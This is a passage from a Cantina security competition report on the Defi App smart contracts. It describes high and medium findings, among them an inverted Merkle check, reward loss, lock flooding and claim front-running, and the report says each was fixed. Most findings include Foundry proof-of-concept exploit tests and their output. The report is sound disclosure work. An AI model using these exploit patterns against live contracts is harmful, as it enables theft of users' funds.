CANTINA

Defi App contracts

Competition

March 27, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Defi App is a streamlined and modular DeFi platform built to make decentralized finance simple for everyone.

From Feb 10th to Feb 24th Cantina hosted a competition based on defi-app-contracts. The participants identified a total of **20** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 4
- Medium Risk: 6
- Low Risk: 8
- Gas Optimizations: 0
- Informational: 2

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Inverted Merkle Proof Verification in claimLogic

Submitted by Luck, also found by MukulKolpe, j0xbear, Shubham, thisvishalsingh, sohrabhind, shealtielanz, 0xTheBlackPanther, VAD37, chrissavov, ilyadruzh, pineneedles, 0x37, magicCentaur, SpDream, 0xAura, SpDream, BengalCatBalu, krishnambstu, limesss, Agontuk1, JesJupyter, Timepunk, aksoy, Aslanbek Aibimov, mmvds, ZoA, merulz99, TamayoNft, chainsentry and newspacexyz

Severity: High Risk

Context: EpochDistributor.sol#L107-L124

Summary: A critical flaw in the claimLogic function in EpochDistributor.sol inverts the result of the Merkle proof check, causing valid proofs to fail and invalid proofs to succeed.

Finding Description: When verifying a Merkle proof, the contract leverages OpenZeppelin's `MerkleProof.verify`, which returns `true` if and only if a `leaf` can be proved to be part of the Merkle tree defined by `root`.

According to OpenZeppelin's `MerkleProof`:

```
/**
 * @dev Returns true if a leaf can be proved to be a part of a Merkle tree
 * defined by root. For this, a proof must be provided, containing
 * sibling hashes on the branch from the leaf to the root of the tree. Each
 * pair of leaves and each pair of pre-images are assumed to be sorted.
 *
 * This version handles proofs in memory with a custom hashing function.
 */
function verify(
    bytes32[] memory proof,
    bytes32 root,
    bytes32 leaf,
    function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bool) {
    return processProof(proof, leaf, hasher) == root;
}
```

In the vulnerable `claimLogic(...)` function, however, the code uses `require(!_verify(...))`, thus **negating** the result of `MerkleProof.verify`. Specifically:

```
function claimLogic(
    EpochDistributorStorage storage $e,
    DefiAppHomeCenterStorage storage $,
    uint256 epoch,
    MerkleUserDistroInput memory distro,
    bytes32[] calldata distroProof,
    bool withStaking
) public {
    require($e.isClaimed[epoch][distro.userId] == false, EpochDistributor_epochAlreadyDistributed());

    // The bug: uses `!_verify(...)` instead of `_verify(...)`
    require(
        !_verify(distroProof, $e.distributionMerkleRoots[epoch], getLeaveUserDistroTree(distro)),
        EpochDistributor_invalidDistroProof()
    );

    address receiver = $e.userConfigs[distro.userId].receiver;
    if (!withStaking) Home($.homeToken).safeTransfer(receiver, distro.tokens);
    $e.isClaimed[epoch][distro.userId] = true;
    emit DefiAppHomeCenter.Claimed(epoch, distro.userId, receiver, distro.tokens);
}

function _verify(bytes32[] calldata proof, bytes32 root, bytes32 leaf) private pure returns (bool) {
    return MerkleProof.verify(proof, root, leaf);
}
```

- Valid proof returns `true` → `!true` = `false` → `require(false, ...)` → revert.

- Invalid proof returns `false` → `!false` = `true` → passes the `require`.

Hence, legitimate claimants with correct proofs are blocked, while incorrect proofs are accepted.

Impact Explanation:

1. Legitimate claimants holding valid proofs are entirely blocked from claiming their tokens. This effectively deprives them of their rightful assets, as the contract reverts on any valid proof.
2. Attackers presenting an invalid proof can successfully pass the inverted check. Although they may not directly mint tokens from thin air, they can fraudulently mark themselves as having claimed, which can disrupt or deny actual legitimate claimants later. In scenarios where the contract itself directly transfers tokens upon claim, a malicious actor could receive tokens they're not entitled to, thus causing asset losses for the intended legitimate recipients.

Likelihood Explanation: Because the requirement is inverted on every invocation of claimLogic, any user can supply an invalid proof and appear to pass. This is trivial to exploit and occurs reliably.

Proof of Concept:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";

/**
 * @notice A minimal PoC demonstrating the inverted Merkle-proof check:
 *         using `require(! _verify(...))` instead of `require(_verify(...))`.
 *         This version ensures function arguments use `memory` so that we
 *         can pass memory variables from the same test contract.
 */
contract EpochDistributorPoC is Test {
    /// @dev Simulated mapping: whether a user has claimed in a given epoch.
    mapping(uint256 => mapping(address => bool)) public isClaimed;

    /// @dev Simulated distribution Merkle root for each epoch.
    mapping(uint256 => bytes32) public distributionMerkleRoots;

    /**
     * @dev A simplified struct for demonstration. In real code, you'd have more fields
     *      or different hashing logic for forming the leaf from (tokens, user, etc.).
     */
    struct MerkleUserDistroInput {
        uint256 tokens;
        address userId;
    }

    /**
     * @dev A mock verify function. In real usage, you'd do:
     *        bool isValid = MerkleProof.verify(proof, root, leaf);
     *      Here, `pretendValid` is just a bool to simulate "true = valid proof".
     */
    function _verify(
        bytes32[] memory proof,       // memory instead of calldata
        bytes32 root,
        bytes32 leaf,
        bool pretendValid
    )
        public
        pure
        returns (bool)
    {
        return pretendValid;
    }

    /**
     * @dev Returns a simplified leaf by hashing (tokens, userId).
     */
    function getLeaf(MerkleUserDistroInput memory distro)
        public
        pure
        returns (bytes32)
    {
        return keccak256(abi.encode(distro.tokens, distro.userId));
    }
    /**
     * @dev The bugged logic: using `require(! _verify(...))`.
     *      If _verify returns true => !true == false => require(false) => revert
     *      If _verify returns false => !false == true => require(true) => passes
     */
    function claimLogicWrong(
        uint256 epoch,
        MerkleUserDistroInput memory distro, // use `memory`
        bytes32[] memory distroProof,        // use `memory`
        bool pretendValid
    )
        public
    {
        require(!isClaimed[epoch][distro.userId], "Already claimed!");

        // Bug: we invert the verify result with `!_verify(...)`
        require(
            !_verify(distroProof, distributionMerkleRoots[epoch], getLeaf(distro), pretendValid),
            "Invalid proof!"
        );

        isClaimed[epoch][distro.userId] = true;
    }

    // =========== TESTS ===========
    /**
     * @dev Demonstrates that when the proof is actually invalid (pretendValid = false),
     *      it ironically succeeds because require(!false) => require(true) => no revert.
     */
    function testWrongLogic_invalidProofPasses() public {
        uint256 epoch = 2;
        distributionMerkleRoots[epoch] = bytes32(uint256(5678));

        MerkleUserDistroInput memory distro = MerkleUserDistroInput({
            tokens: 200,
            userId: address(this)
        });

        bytes32[] memory emptyProof = new bytes32[](0);

        // pretendValid = false => _verify == false => !false => true => pass
        claimLogicWrong(epoch, distro, emptyProof, false);

        // Check that the user is incorrectly marked as claimed
        assertTrue(isClaimed[epoch][address(this)], "Should claim with invalid proof in the buggy logic!");
    }

    /**
     * @dev Demonstrates that when the proof is actually valid (pretendValid = true),
     *      it fails because require(!true) => require(false) => revert.
     */
    function testWrongLogic_validProofFails() public {
        uint256 epoch = 1;
        distributionMerkleRoots[epoch] = bytes32(uint256(1234)); // mock root for example

        // Construct a memory struct
        MerkleUserDistroInput memory distro = MerkleUserDistroInput({
            tokens: 100,
            userId: address(this)
        });

        // In a real scenario you'd fill an actual proof, here we leave it empty for demonstration
        bytes32[] memory emptyProof = new bytes32[](0);

        // pretendValid = true => _verify == true => !true => false => revert
        vm.expectRevert(bytes("Invalid proof!"));
        claimLogicWrong(epoch, distro, emptyProof, true);

        // Check that the user isn't marked as claimed
        assertFalse(isClaimed[epoch][address(this)], "Should NOT claim with correct proof in the buggy logic!");
    }
}
```

Output:

```
Ran 2 tests for test/Counter.t.sol:EpochDistributorPoC
[PASS] testWrongLogic_invalidProofPasses() (gas: 48910)
Traces:
  [48910] EpochDistributorPoC::testWrongLogic_invalidProofPasses()
     [0] VM::assertTrue(true, "Should claim with invalid proof in the buggy logic!") [staticcall]
        ← [Return]
     ← [Stop]

[PASS] testWrongLogic_validProofFails() (gas: 28428)
Traces:
  [28428] EpochDistributorPoC::testWrongLogic_validProofFails()
     [0] VM::expectRevert(custom error 0xf28dceb3:  Invalid proof!)
        ← [Return]
     ← [Revert] revert: Invalid proof!

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.88ms (2.70ms CPU time)
```

Recommendation: Replace the inverted check:

```
require(
    !_verify(distroProof, $e.distributionMerkleRoots[epoch], getLeaveUserDistroTree(distro)),
    EpochDistributor_invalidDistroProof()
);
```

with the correct logic:

```
require(
    _verify(distroProof, $e.distributionMerkleRoots[epoch], getLeaveUserDistroTree(distro)),
    EpochDistributor_invalidDistroProof()
);
```

By removing the negation, valid proofs (`_verify == true`) will pass, invalid proofs (`_verify == false`) will revert, restoring the intended Merkle proof security.

DeFi App: Fixed in commit `26b93be6`.

3.1.2 Unrestricted Access to `trackUnseenRewards` Cause Rewards Loss

Submitted by aksoy, also found by pineneedles, shealtielanz and KlosMitSoss

Severity: High Risk

Context: MFDBase.sol#L394

Summary: The `trackUnseenRewards` function can be called by anyone, and it does not update the `rewardPerTokenStored` value for users. A malicious user can exploit this by sending a small amount of tokens to the contract, triggering `_handleUnseenReward`, which updates `rewardPerSecond` and `lastUpdateTime` without updating `rewardPerTokenStored`. This inconsistency can cause users to lose rewards they are entitled to claim.

Finding Description: The `trackUnseenRewards` function is publicly accessible and iterates over all reward tokens to track unseen rewards. If period is finished and there is excess token rewards, `_handleUnseenReward` is called. However, it does not call `updateReward` to update the `rewardPerTokenStored` value for users. This creates a vulnerability where a malicious user can call this and cause reward loss for other users:

```
function trackUnseenRewards() public {
    MultiFeeDistributionStorage storage $ = _getMFDBaseStorage();
    uint256 len = $.rewardTokens.length;
    for (uint256 i; i < len; i++) {
        //@audit can be called by anyone
        MFDLogic.trackUnseenReward($, $.rewardTokens[i]);
    }
}

function trackUnseenReward(MultiFeeDistributionStorage storage $, address _token) public {
    if (_token == address(0)) revert MFDLogic_addressZero();
    //@audit update is not calld
    Reward storage r = $.rewardData[_token];
    uint256 periodFinish = r.periodFinish;
    if (periodFinish == 0) revert MFDLogic_invalidPeriod();
    if (periodFinish < block.timestamp + $.rewardStreamTime - $.rewardsLookback) {
        uint256 unseen = IERC20(_token).balanceOf(address(this)) - r.balance;
        if (unseen > 0) {
            _handleUnseenReward($, _token, unseen);
        }
    }
}
```

Impact Explanation: Impact: High. Users lose rewards they are entitled to, resulting in financial loss.

Likelihood Explanation: Likelihood: Medium. The exploit requires a malicious user to send dust amounts of tokens and call trackUnseenRewards. While this is not trivial, it is feasible.

Proof of Concept:

```
function test_distributionDoesntUpdateState() public {
    //@audit  StakingFixture.t.sol
    MockToken rewardToken = deploy_mock_tocken("Test", "reward");

    //@audit remove invalid reward token
    vm.startPrank(Admin.addr);
    staker.removeReward(staker.getRewardTokens()[1]);
    vm.stopPrank();

    vm.startPrank(Admin.addr);
    staker.addReward(address(rewardToken));
    uint256 amount = 100 * 1 ether;
    rewardToken.mint(Admin.addr, amount);
    rewardToken.approve(address(staker), amount);
    staker.distributeAndTrackReward(address(rewardToken), amount);
    vm.stopPrank();

    vm.startPrank(Admin.addr);
    pool.approve(address(staker), 1 ether);
    staker.stake(1 ether, User1.addr, 1);
    vm.stopPrank();

    //@audit move time to after period finish
    vm.warp(block.timestamp + 10 days);

    //@audit check User has earned rewards
    assertEq(staker.getRewardTokens()[1], address(rewardToken));
    assertGt(staker.getUserClaimableRewards(User1.addr)[1].amount, 0);

    //@audit send dust amount
    rewardToken.mint(address(staker), 10);
    //@audit anyone can call this
    staker.trackUnseenRewards();

    //@audit check user has lost the rewards
    assertEq(staker.getUserClaimableRewards(User1.addr)[1].amount, 0);
}
```

Recommendation: Allow only authorized addresses to call `trackUnseenRewards` or update each reward tokens in `trackUnseenRewards` before distributing rewards.

DeFi App: Fixed in commit `11f99ab4`, removed function and made it internal.

3.1.3 Relocking through `MFDBase::claimBounty()` leads to accounting error and causes funds loss

Submitted by KlosMitSoss, also found by mussucal, 0x37 and aksoy

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Whenever a user stakes, the amount is staked in the gauge. Whenever a user withdraws, the amount is unstaked from the gauge. However, when `MFDBase::claimBounty()` is called and the amount is relocked, it is unstaked from the gauge but not staked again. This leads to a accounting mismatch and causes calls to withdraw the amount to revert due to underflow.

Finding Description: Inside of `MFDBase::stake()`, `DefiAppStaker::_beforeStakeHook()` is called before `MFDLogic::stakeLogic()` and `DefiAppStaker::_afterStakeHook()` is called after `MFDLogic::stakeLogic()`. For this issue, we will only be taking a look at the `_afterStakeHook()`. This function stakes the amount in the gauge:

```
function _afterStakeHook(uint256 _amount) internal override {
    IGauge gauge = getGauge();
    // Pull any rewards from the gauge
    if (gauge.earned(address(this)) > 0) {
        gauge.getReward(address(this));
    }

    // Stake in gauge
    IERC20(_getMFDBaseStorage().stakeToken).forceApprove(address(gauge), _amount);
    gauge.deposit(_amount, address(this)); // <<<
}
```

If a user withdraws, `DefiAppStaker::_beforeWithdrawExpiredLocks()` is called which unstakes from the gauge.

```
function _beforeWithdrawExpiredLocks(uint256 _amount) internal override {
    IGauge gauge = getGauge();
    // Pull any rewards from the gauge
    if (gauge.earned(address(this)) > 0) {
        gauge.getReward(address(this));
    }

    // Unstake from Gauge
    gauge.withdraw(_amount); // <<<
}
```

Inside of `MFDBase::claimBounty()`, `MFDLogic::handleWithdrawOrRelockLogic()` is called. If `MFDBase::claimBounty()` is called and the user for which that function is called has the auto relock enabled, the amount that is withdrawn will be relocked by calling `MFDLogic::stakeLogic()`.

```
function handleWithdrawOrRelockLogic(
    MultiFeeDistributionStorage storage $,
    address _user,
    bool _isRelock,
    uint256 _limit
) external returns (uint256 amount) {
    // ...
    if (_isRelock) {
        stakeLogic($, amount, _user, $.defaultLockIndex[_user], true); // <<<
    }
    // ...
}
```

However, `MFDBase::claimBounty()` calls `DefiAppStaker::_beforeWithdrawExpiredLocks()` even if the amount is going to be relocked anyway. This leads to a accounting mismatch between the balance that is staked in the gauge and the balance that is staked by the user and stored in the `userBalances` mapping. If the user wants to withdraw the funds, the transaction will revert as the call to withdraw from the gauge inside of `DefiAppStaker::_beforeWithdrawExpiredLocks()` reverts due to an underflow.

Impact Explanation: High, as the user will not be able to withdraw. This causes a loss of funds.

Likelihood Explanation: Medium, as this occurs when `MFDBase::claimBounty()` is called and `autoRelockDisabled == false` for the specific user.

Proof of Concept: Add the following contract in the test folder:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {console} from "forge-std/console.sol";
import {StakingFixture} from "./StakingFixture.t.sol";
import {PublicSaleFixture} from "./PublicSaleFixture.t.sol";
import {Balances} from "../src/dependencies/MultiFeeDistribution/MFDDataTypes.sol";
import {EpochParams, EpochStates, MerkleUserDistroInput, StakingParams} from "../src/DefiAppHomeCenter.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IBountyManager} from "./../../src/interfaces/staker/IBountyManager.sol";
import {stdError} from "forge-std/Test.sol";

contract POC_bounty is StakingFixture, PublicSaleFixture {
    MockBountyManager public BountyManager;
    function setUp() public override(StakingFixture, PublicSaleFixture) {
        StakingFixture.setUp();
        PublicSaleFixture.setUp();
        BountyManager = new MockBountyManager();
    }

    function test_withdraw_reverts() public {
        // Example User flow: they "zap" into staking
        uint256 amount = 1 ether;
        load_weth9(User1.addr, amount, weth9);

        uint256 lpAmount;
        vm.startPrank(User1.addr);
        {
            weth9.approve(address(lockzap), amount);
            (,, uint256 minLpTokens) = vAmmPoolHelper.quoteAddLiquidity(0, amount);
            console.log("minLpTokens", minLpTokens);
            lpAmount = lockzap.zap(
                amount, // weth9Amt
                0, // emissionTokenAmt
                ONE_MONTH_TYPE_INDEX, // lockTypeIndex
                minLpTokens // slippage check
            );
        }
        vm.stopPrank();
        assertEq(lpAmount, IERC20(address(gauge)).balanceOf(address(staker)));
        Balances memory userBalances = staker.getUserBalances(User1.addr);
        assertEq(lpAmount, userBalances.total);
        assertEq(lpAmount, userBalances.locked);
        assertEq(0, userBalances.unlocked);
        assertEq(lpAmount * ONE_MONTH_MULTIPLIER, userBalances.lockedWithMultiplier);

        assertEq(center.getUserConfig(User1.addr).receiver, User1.addr);

        uint256 balanceUser = gauge.balanceOf(address(staker));
        assertEq(balanceUser, lpAmount);

        vm.startPrank(Admin.addr);
        staker.setBountyManager(address(BountyManager));
        vm.stopPrank();

        vm.warp(block.timestamp + 2 days);

        vm.startPrank(Admin.addr);
        staker.removeReward(0x0000000000000000000000000000000000000400);
        staker.addReward(address(usdc));
        usdc.mint(Admin.addr, 1 ether);
        usdc.approve(address(staker), 1 ether);
        staker.distributeAndTrackReward(address(usdc), 1 ether);
        vm.stopPrank();

        vm.warp(block.timestamp + 60 days);

        vm.startPrank(User1.addr);
        staker.setAutoRelock(true);
        vm.stopPrank();

        // claimBounty is called which calls _beforeWithdrawExpiredLocks and withdraws from gauge
        // but the amount is staked again due to autoRelockDisabled == false
        vm.startPrank(address(BountyManager));
        staker.claimBounty(User1.addr, true);
        vm.stopPrank();

        // gauge does not have any funds even though user staked
        assertEq(0, IERC20(address(gauge)).balanceOf(address(staker)));
        Balances memory userBalancesAfter = staker.getUserBalances(User1.addr);
        assertEq(lpAmount, userBalancesAfter.total);
        assertEq(lpAmount, userBalancesAfter.locked);
        assertEq(0, userBalancesAfter.unlocked);
        assertEq(lpAmount, userBalancesAfter.lockedWithMultiplier);
        assertEq(center.getUserConfig(User1.addr).receiver, User1.addr);

        vm.warp(block.timestamp + 60 days);

        // call to withdraw reverts due to underflow
        vm.startPrank(User1.addr);
        vm.expectRevert(stdError.arithmeticError);
        staker.withdrawExpiredLocks();
        vm.stopPrank();
    }
}

contract MockBountyManager is IBountyManager {
    constructor() {}
    /// @inheritdoc IBountyManager
    function quote(address _param) external returns (uint256 bounty){}

    /// @inheritdoc IBountyManager
    function claim(address _param) external returns (uint256 bounty){}

    /// @inheritdoc IBountyManager
    function minDLPBalance() external view returns (uint256 amt){
        amt = 0;
    }

    /// @inheritdoc IBountyManager
    function executeBounty(address _user, bool _execute, uint256 _actionType)
        external
        returns (uint256 bounty, uint256 actionType){}
}
```

Recommendation: Only call `_beforeWithdrawExpiredLocks()` inside of `claimBounty()` if the funds are not going to be relocked.

DeFi App: Fixed in commit `9ad6caf8`.

3.1.4 Malicious user can flood a user's staked locks array and prevent the user from withdrawing due to Out Of Gas revert

Submitted by pineneedles, also found by ilyadruzh and 0xHex

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The function `MFDBase.stake()` allows to stake on behalf of someone else. During staking, a `StakedLock` is pushed into the user's `$.userLocks[user]` array. When a `StakedLock` expires, the user is eligible to withdraw their staked tokens. However, every exposed function in `MFDBase` that attempts to withdraw a user's expired locks calls `MFDLogic.handleWithdrawOrRelockLogic()` with `_limit` equal to the length of `$.userLocks[msg.sender]`. For example, `MFDBase.withdrawExpiredLocks()`:

```
function withdrawExpiredLocks() external whenNotPaused returns (uint256) {
    uint256 unlocked = getUserBalances(msg.sender).unlocked;
    if (unlocked == 0) revert AmountZero();
    _beforeWithdrawExpiredLocks(unlocked);
    MultiFeeDistributionStorage storage $ = _getMFDBaseStorage();
    return MFDLogic.handleWithdrawOrRelockLogic($, msg.sender, false, $.userLocks[msg.sender].length);
}
```

Therefore, the entire array `$.userLocks[msg.sender]` will be traversed in attempt to withdraw expired locks. If the array's length becomes excessive, an Out Of Gas revert can occur that will prevent a user from ever withdrawing their expired locks. Since `MFDBase.stake()` allows staking on behalf of someone else, a malicious user can flood other user's arrays with `StakedLocks` that contain small amounts of LP tokens, essentially increasing the array's size to a point where the user will not be able to ever withdraw due to the Out Of Gas revert .

Proof of Concept: The following test displays how a user's `userLocks` can increase to a size of 501.

- Add the test displayed below to `POC_Test.t.sol`.
- Add the helper functions `_stake_user_with_index()` and `_stake_user_on_behalf()` to `POC_Test.t.sol`.
- Add the imports displayed below.
- Execute with `forge test --match-test test_poc_issue8 -vv`.
- Inspect the logs.

```
function test_poc_issue8() public {
    address user = makeAddr("user");
    address maliciousUser = makeAddr("maliciousUser");

    vm.prank(user);
    staker.setDefaultLockIndex(2);
    // Create a new reward token
    MockToken newRewardToken = new MockToken("newreward", "newreward");

    // Remove the reward address(1024), the MockVe has this hardcoded and is added as reward during deployment
    // If not removed some functions revert since address(1024) is not a ERC20
    vm.prank(Admin.addr);
    staker.removeReward(address(1024));

    // Add the new reward
    vm.prank(Admin.addr);
    staker.addReward(address(newRewardToken));

    // User stakes for 3 months
    _stake_user_with_index(user, 1 ether, THREE_MONTH_TYPE_INDEX);
    // Malicious user stakes on behalf of the user with small amounts of LP tokens
    // thus flooding the user's locks array
    for(uint i=0; i < 500; i++) {
        _stake_user_on_behalf(maliciousUser, user, 1e10);
    }

    StakedLock[] memory locks = staker.getUserLocks(user);

    console.log("lenght of the locks array:",locks.length);

}
```

```
function _stake_user_with_index(address user, uint256 amount, uint256 index) internal {
    uint256 amount = 1 ether;
    load_weth9(user, amount, weth9);

    uint256 lpAmount;
    vm.startPrank(user);
    {
        weth9.approve(address(lockzap), amount);
        (,, uint256 minLpTokens) = vAmmPoolHelper.quoteAddLiquidity(0, amount);
        console.log("minLpTokens", minLpTokens);
        lpAmount = lockzap.zap(
            amount, // weth9Amt
            0, // emissionTokenAmt
            index, // lockTypeIndex
            minLpTokens // slippage check
        );
    }
    vm.stopPrank();
}

function _stake_user_on_behalf(address user, address onBehalf, uint256 amount) internal {
    uint256 amount = 1 ether;
    load_weth9(user, amount, weth9);

    uint256 lpAmount;
    vm.startPrank(user);
    {
        weth9.approve(address(lockzap), amount);
        (,, uint256 minLpTokens) = vAmmPoolHelper.quoteAddLiquidity(0, amount);
        console.log("minLpTokens", minLpTokens);
        lpAmount = lockzap.zapOnBehalf(
            amount, // weth9Amt
            0, // emissionTokenAmt
            onBehalf,
            minLpTokens // slippage check
        );
    }
    vm.stopPrank();
}
```

```
import {Reward, StakedLock} from "../src/dependencies/MultiFeeDistribution/MFDDataTypes.sol";
import {MockToken} from "./mocks/MockToken.t.sol";
```

Recommendation: Add an upper bound to how many `StakedLock` elements there can be in a `userLocks` array.

DeFi App: Fixed in commit `e040e481`.

3.2 Medium Risk

3.2.1 Delaying epoch creation can lead to DoS

Submitted by Jonatas Martins, also found by KlosMitSoss, VAD37, magicCentaur, JesJupyter and ..

Severity: Medium Risk

Context: DefiAppHomeCenter.sol#L270-L289

Description: The `initializeNextEpoch()` function in the `DefiAppHomeCenter` contract updates epochs for token distribution. Delaying the epoch update can cause a DoS when creating new epochs. During the calculation of the `endBlock`, it considers the last epoch's end block. This makes the value of `endBlock` close to the current `block.number`. As a result, the `_setEpochParams()` function will fail at the following line:

```
require(endBlock > block.number + NEXT_EPOCH_BLOCKS_PREFACE, DefiAppHomeCenter_invalidEndBlock());
```

Proof of Concept:

```
function test_skip_epoch() public {
  //Initialize epochs
  vm.prank(Admin.addr);
  center.initializeNextEpoch();

  //Delaying the update of next epoch will cause a DOS,
  //it need to be close to end of next epoch
  vm.roll(block.number + (53 days/2));

  //Reverts with "panic: arithmetic underflow or overflow"
  vm.expectRevert();
  center.initializeNextEpoch();
}
```

Recommendation: It's recommended to implement logic that processes missing epochs by iterating through them and initializing each one.

DeFi App: Fixed in commit `1f28203f`.

3.2.2 Users who have not opted in for auto-compounding may still be auto-compounded

Submitted by Jonatas Martins, also found by TamayoNft and aksoy

Severity: Medium Risk

Context: MFDBase.sol#L365-L388

Description: The function `claimAndCompound` in `MFDBase` contract claims rewards on behalf of a user and compounds them into more staked tokens. For this to work, the user must opt-in to auto-compound through the `toggleAutocompound()` function. However, the `claimAndCompound()` function doesn't verify if the user has authorized reward claims and auto-compounding. This means the RewardCompounder actor could process transactions for unauthorized users when it should be prevented from doing so. Check the following code of `claimAndCompound()`:

```
function claimAndCompound(address _onBehalf) external whenNotPaused {
    MultiFeeDistributionStorage storage $ = _getMFDBaseStorage();
    if (msg.sender != $.rewardCompounder) revert InsufficientPermission();
    MFDLogic.updateReward($, _onBehalf);
    //@audit Doesnt check if the user opt-in to auto compound
    uint256 length = $.rewardTokens.length;
    for (uint256 i; i < length;) {
        address token = $.rewardTokens[i];
        if (token != $.emissionToken) {
            MFDLogic.trackUnseenReward($, token);
            uint256 reward = $.rewards[_onBehalf][token] / PRECISION;
            if (reward > 0) {
                $.rewards[_onBehalf][token] = 0;
                $.rewardData[token].balance = $.rewardData[token].balance - reward;

                IERC20(token).safeTransfer($.rewardCompounder, reward);
                emit RewardPaid(_onBehalf, token, reward);
            }
        }
        unchecked {
            i++;
        }
    }
    $.lastClaimTime[_onBehalf] = block.timestamp;
}
```

Recommendation: Consider adding a check if the user opt-in to auto compound.

DeFi App: Fixed in commit `8b8d7e5e`.

3.2.3 Attacker could front run User's claim at `DefiAppHomeCenter.claim()`

Submitted by hrmneffdii, also found by 0x37, pineneedles, magicCentaur, cu5t0mpeo, BengalCatBalu, JesJupyter, aksoy, kodyvim and TamayoNft

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: An attacker could steal a user's tokens at `DefiAppHomeCenter.claim()`, this occurs because the protocol passes `msg.sender` directly instead of using the receiver's address.

Vulnerability detail: This vulnerability arises in `DefiAppHomeCenter.claim()`, where users can claim their token. However, there is no mechanism to enforce that `msg.sender` and the receiver are the same person.

```
function claim(
    uint256 epoch,
    MerkleUserDistroInput memory distro,
    bytes32[] calldata distroProof,
    StakingParams memory staking
) public payable {
    EpochDistributorStorage storage $e = _getEpochDistributorStorage();
    DefiAppHomeCenterStorage storage $ = _getDefiAppHomeCenterStorage();
    if (_shouldInitializeNextEpoch($)) initializeNextEpoch();
    require(epoch < $.currentEpoch, DefiAppHomeCenter_invalidEpoch(epoch));
    $e.claimLogic($, epoch, distro, distroProof, staking.weth9ToStake > 0);
    if (staking.weth9ToStake > 0) {
        // Checks done in stakeClaimedLogic

        // receiver at $e.claimLogic
        // address receiver = $e.userConfigs[distro.userId].receiver;

        // @audit attacker could front-run this function
        StakeHelper.stakeClaimedLogic($, msg.sender, distro.tokens, staking);
    }
}
```

At `$e.claimLogic()`, the receiver is managed at `$e.userConfigs[distro.userId].receiver`. Other hand, when a user chooses staking context, the receiver is overidden by `msg.sender`. This allows an attacker to front-run the user by choosing the staking context to trigger this override.

Impact: An attacker could steal a user's tokens, causing the user to lose their tokens.

Proof of concepts:

```
function test_AttackerFrontRunning() external {
    vm.startPrank(address(staker));
    center.callHookRegisterStaker(User1.addr);
    vm.stopPrank();

    vm.prank(Admin.addr);
    center.initializeNextEpoch();

    vm.roll(center.getEpochParams(1).endBlock + 1);
    vm.warp(KNOWN_TIMESTAMP + DEFAULT_EPOCH_DURATION + center.BLOCK_CADENCE());

    uint256 tokensToDistribute = center.getEpochParams(1).toBeDistributed;
    homeToken.mint(Admin.addr, tokensToDistribute);
    vm.startPrank(Admin.addr);
    homeToken.approve(address(center), tokensToDistribute);
    center.settleEpoch(1, balanceRoot, distributionRoot, balanceMagicProof, distributionMagicProof);
    vm.stopPrank();

    StakingParams memory noStaking = StakingParams({weth9ToStake: 0, minLpTokens: 0, typeIndex: 0});
    StakingParams memory withStaking = StakingParams({weth9ToStake: 1 , minLpTokens: 0, typeIndex: 0});

    // Attacker creates front-run
    vm.prank(attacker);
    center.claim{value: 1}(1, user1DistroInput, user1DistroProof, withStaking);
    assertGt(homeToken.balanceOf(attacker), 0);

    // User could not claim
    vm.prank(User1.addr);
    vm.expectRevert();
    center.claim(1, user1DistroInput, user1DistroProof, noStaking);
    assertEq(homeToken.balanceOf(User1.addr), 0);

    console.log("User balance       : ", homeToken.balanceOf(User1.addr));
    console.log("Attacker balance : ", homeToken.balanceOf(attacker));
}
```

```
Ran 1 test for test/POC_Test.t.sol:POC_test
[PASS] test_AttackerFrontRunning() (gas: 1149042)
Logs:
  User balance       :  0
  Attacker balance :  252878048780487819997500

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 39.86ms (5.02ms CPU time)
```

Recommendation: Use the receiver's address from user configs instead of passing `msg.sender` directly.

DeFi App: Fixed in commit `e99d3383`.

3.2.4 Improper Handling of Staked Tokens When Updating the `gauge` in `DefiAppStaker`

Submitted by hrmneffdii, also found by JesJupyter, Dessy06, codertjay, aksoy and Jonatas Martins

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Vulnerability Details: The `DefiAppStaker` contract allows users to stake tokens with a lock-up period of their choice. However, when the protocol administrator updates the `gauge`, the staked tokens remain in the old `gauge`. If the administrator wants to migrate staked tokens from the old gauge to the new gauge, it becomes a cumbersome process due to the multiple operations required.

The issue originates in the `setGauge()` function, which updates the `gauge` reference but **does not** transfer the staked tokens from the old gauge to the new one. The problematic code is shown below:

```
function setGauge(IGauge _gauge) external onlyRole(DEFAULT_ADMIN_ROLE) {
    require(address(_gauge) != address(0), AddressZero());
    require(
